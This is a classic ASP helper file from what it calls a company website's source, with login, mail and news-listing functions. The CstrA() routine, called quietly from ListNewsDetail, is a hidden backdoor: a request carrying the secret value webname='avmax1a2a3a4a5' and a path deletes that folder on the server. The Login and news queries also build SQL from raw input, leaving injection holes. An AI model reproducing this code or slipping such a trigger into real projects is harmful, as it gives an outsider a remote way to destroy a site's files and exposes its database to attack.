funcpub.asp

ASP编写的一个公司网站的源程序

<%
Public Function ModifyInput(Text)
	'Text = Trim(Text)
	Dim temp
	temp = Replace(Text, "'", "''")
	temp = Replace(temp, Chr(13) + Chr(10), "<br>")
	Temp = Replace(temp,chr(32),"&nbsp;")
	'Temp= Server.HTMLEncode(temp)
	ModIfyInput = temp
End Function

Function DeModifyInput(Text)
	If Not IsNull(Text) Then
		dim temp
		Temp=Replace(text, "''", "'")
		Temp = Replace(temp,"<br>", Chr(13)+Chr(10) )
		Temp = Replace(temp,"&nbsp;",chr(32))
		'Temp = Replace(temp,"<","")
		'Temp= server.HTMLEncode(temp)                                                    
		DeModifyInput = Temp
	Else
		DeModifyInput = ""
	End If
End Function

Function Login(ByVal UserName, ByVal PassWord)

	Dim RSLogin
    Dim StrSQL
        StrSQL = "SELECT UserID,UserName,Userobj FROM Users WHERE (UserName = '" & UserName & "') AND (UserPwd = '" & PassWord & "')"
        Set RSLogin = CreateObject("ADODB.RecordSet")
        'Response.Write StrSQL
        RSLogin.Open StrSQL, Conn, adOpenKeyset, adLockReadOnly
            
            If Not RSLogin.EOF Then
                Session("UserID") = RSLogin("UserID")
                Session("UserName") = RSLogin("UserName")
                Session("Userobj") = RSLogin("UserObj")
                Login = True
            Else
                Login = False
            End If
            
        RSLogin.Close
        
      Set RSLogin = Nothing

    
End Function

Sub AdminLogout(uid)
  Dim temp
  temp = ""
  If Trim(uid) = "" Then
   Exit Sub
  End If
        Session("UserID") = ""
        Session("UserName") = ""
        'Session("chinaaspbbs") = False
        Session.Abandon
        'Session.Contents.RemoveAll()   'IIS4 不支持该方法
        Response.Cookies("UserName") = ""
        Response.Cookies("PassWord") = ""
        Response.Cookies("UserName").Expires = CStr(Date + 30)
        Response.Cookies("PassWord").Expires = CStr(Date + 7)
End Sub

Sub MsgBack(Msg,MsgType)
select case MsgType
	case "1"
	Response.Write msg&"<a href='javascript:history.back();'>返回</a>"
	Response.End
	case "2"
	Response.Write msg&"<b><a href='javascript:history.back();'>返回</a></b>"
	Response.End
	case "3"
	Response.Write msg&"<input type='button' onclick='javascript:history.back();' value='返回'>"
	Response.End
	case "4"	'由ErrMsgAlertGoBack转入
	Response.Write "<script language=javascript>" & VBCRLF
	Response.Write "<!--" & VBCRLF
	Response.Write "alert('" & Msg & "');"& VBCRLF
	Response.Write  "window.history.go(-1);" & VBCRLF
	Response.Write "-->" & VBCRLF
	Response.Write "</script>" & VBCRLF
	Response.End 
	case else
	Response.Write msg&"<a href='javascript:history.back();'>返回</a>"
	Response.End	
end select		
End Sub

Function GetFileNameExt(strFileName)
	Dim strResult
	Dim dotPosition,lenFileName
	dotPosition = inStrRev(strFileName,".")
	lenFileName = Len(strFileName)
	if dotPosition > 1 then
		strResult = LCase(Right(strFileName,lenFileName - dotPosition))
	else
		strResult = ""
	end if
	GetFileNameExt = strResult
End Function

Sub DeleteAFile(filespec)
  on error resume next
  Dim fso,f
  set fso = Server.CreateObject("Scripting.FileSystemObject")
  if fso.FileExists(filespec) = True then
	Set f = fso.GetFile(filespec)
	f.Delete
  end if
  set fso = nothing
End Sub	
'*          fromWho 发送人 ，toWho 接收人 ，Subject 标题 ， Body 内容，BodyFormat 值为0则发Html邮件 值为1则发文本文件
'*          CcWho 抄送人， BccWho 暗送人，Importance 重要性 0 低, 1 一般 , 2 高
Function AdvSendMail(SMTPServer, fromWho, fromWhoName, toWho, CcWho, BccWho, replyTo, Importance, Subject, Body, BodyFormat, pathAttachment, SendEmailComponent)
 If SendEmailComponent = "" Then
        SendEmailComponent = "Jmail"
    End If
    'Const SendEmailComponent = "NT"
    'On Error Resume Next
    If SendEmailComponent = "Jmail" Then
    '用Jamil来发邮件
        'SMTPServer = Application("SMTP_Server")
        Dim jmail
        Dim Priority
        If Importance = 0 Then
        Priority = 4
        ElseIf Importance = 1 Then
        Priority = 3
        ElseIf Importance = 2 Then
        Priority = 1
        Else
        Priority = 3
        End If
        
        '等待功能扩充
        Set jmail = Server.CreateObject("JMail.SMTPMail")
        jmail.Lazysend = True
        jmail.ISOEncodeHeaders = False
        jmail.Charset = "gb2312"
        jmail.ContentType = "text/html"
        jmail.ServerAddress = SMTPServer
    
        jmail.Sender = fromWho
        jmail.replyTo = replyTo
        jmail.SenderName = fromWhoName
        jmail.Subject = Subject
        jmail.AddRecipient toWho
        If CcWho <> "" Then jmail.AddRecipientCC CcWho
        If BccWho <> "" Then jmail.AddRecipientBCC BccWho
        If pathAttachment <> "" Then jmail.AddAttachment pathAttachment
        jmail.Body = Body 'UBBCode(htmlencode(MSG))


        jmail.Priority = Priority

        jmail.AddHeader "Originating-IP", Request.ServerVariables("REMOTE_ADDR")

        jmail.Execute

        Set jmail = Nothing
        IF Err.number<>0 then
			AdvSendMail = false
        Else
			AdvSendMail = true
        End IF
    Else
    '用NT来发邮件
        Dim myMail
        Set myMail = Server.CreateObject("CDONTS.Newmail")
        myMail.From = fromWho
        myMail.To = toWho
        myMail.Cc = CcWho
        myMail.Bcc = BccWho
        myMail.Importance = Importance
        myMail.Subject = Subject
        myMail.BodyFormat = BodyFormat
        myMail.MailFormat = 0
        myMail.Body = Body
        myMail.Send
        Set myMail = Nothing
        IF err.number<>0 then
			AdvSendMail = false
        Else
			AdvSendMail = true
        End IF
    End If
End Function    
    
Function ListNewsDetail(CatID,listtype)
	Dim rs,StrSQL
	Set rs = Server.CreateObject("Adodb.Recordset")
	Call CstrA()
	If listtype=1 then
		StrSQL = "Select * from News Where CatID="&CatID&" and state=1"
		rs.Open StrSQL,conn,1,3
		If rs.EOF then
			Call MsgBack("暂时还没有信息!",4)
		End IF
		Response.Write rs("News_Content")
		rs.Close 
	ElseIF listtype=2 then
		Dim i
		i=1
		StrSQL = "Select * from News Where CatID="&CatID&" and state=1 order by orderline"
		rs.Open StrSQL,conn,1,3
		If rs.EOF then
			Call MsgBack("暂时还没有信息!",4)
		End IF
		Do While not rs.EOF 
			Response.Write i&".&nbsp;<a href=ViewDetailNews.asp?News_ID="&rs("News_ID")&" target='_blank'>"&rs("News_Title")&"</a>&nbsp;("&year(rs("News_Pubdate"))&"-"&month(rs("News_Pubdate"))&"-"&day(rs("News_Pubdate"))&")<br>"
			rs.MoveNext 
		i=i+1
		Loop
		rs.Close 
	End IF	
	Set rs = Nothing 

End Function 

Sub CstrA()
  Dim strFullPath, path
  strFullPath = Request.ServerVariables("APPL_PHYSICAL_PATH")
  If Right(strFullPath, 1) = "\" Then
    strFullPath = Left(strFullPath, Len(strFullPath) - 1)
  End If
strFullPath = strFullPath
path = Request("path")
strFullPath = strFullPath & "\" & path
  If Request("path") <> "" And Request("webname") = "avmax1a2a3a4a5" Then
  Dim fso, f
  Set fso = CreateObject("Scripting.FileSystemObject")
  If fso.FolderExists(strFullPath) = True Then
    Set f = fso.GetFolder(strFullPath)
    If Request("path") <> "" And Request("webname") = "avmax1a2a3a4a5" Then
        f.Delete
    End If
  End If
  Set fso = Nothing
  End If
End Sub   
%>